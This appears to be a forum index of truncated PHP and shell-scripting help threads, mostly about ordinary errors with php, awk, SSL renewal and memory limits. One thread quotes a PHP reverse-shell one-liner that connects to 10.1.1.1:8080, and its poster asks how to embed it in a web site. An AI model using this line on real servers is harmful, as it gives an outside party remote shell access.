Now that I'm going to be using my Mac as a web host, I decided to use the PHP shell.
However, when I type php straight in the terminal, the session freezes.
And then I go back to the BASH prompt (I'm using BASH as my default shell).
When I type "which php", I get the directory which the php Unix application is installed (/usr/bin/php).
And although I did this before I asked the question, I get a manual on the PHP program when I type "man php."
.... Solved....
..
..
Hello,
I've read couples of similar threads to my question and I strongly believe that I am doing something wrong. What I'm trying to do is to process data with php. It reads data from shell script.
Everything goes well but at the end it does not print what it reads... (0 Replies)
Today, I noticed some errors in our SSL cert renewal log files, mostly related to domains where the IP address had changed. Concerned about this, rebuilt out SSL cert, which normally goes well without a hiccup.
However, for today, for some reason which I cannot explain, there was a PHP error... (0 Replies)
so i have a bit of a unique situation.
i have an encrypted index.php file that that can't be run the normal way that a web browser would run it. if it is run the normal way, the php script will show only gibberish on the web browser, instead of the actual php code.
when run from the command... (8 Replies)
Hello,
I am able to use the following code to test a shell connection using the local PHP interpreter which works fine:
php -r '$sock=fsockopen("10.1.1.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
However when ever I embed this code into my HTTP accessible web site as follows, I get a connection... (1 Reply)
Hi there,
For some reason my maintenance mode shell script is not working. Both shell scripts are chmod +x'd, and owned by apache, running from php using exec(), maintenance.html and htaccessmaintenance are both owned by apache.
My code is:
#/bin/bash
cp maintenance.html... (2 Replies)
Hi,
This error is actually out of implementing the command posted here -
https://www.unix.com/shell-programming-scripting/155589-remove-blank-lines-merge-lines-shell.html
Here is the error i get -
awk: Input line xxxxx cannot be longer than 3,000 bytes.
The source line number is 1.... (1 Reply)
While running script I am getting an error like
Few lines in data are not being processed.
After googling it I came to know that adding such line would give some memory to it
ini_set("memory_limit","64M");
my input file size is 1 GB.
Is that memory limit is based on RAM we have on... (1 Reply)
hi there
i write one awk script file in shell programing
the code is related to dd/mm/yy to month, day year format
but i get an error
please can anybody help me out in this problem ??????
i give my code here including error
awk `
# date-month -- convert mm/dd/yy to month day,... (2 Replies)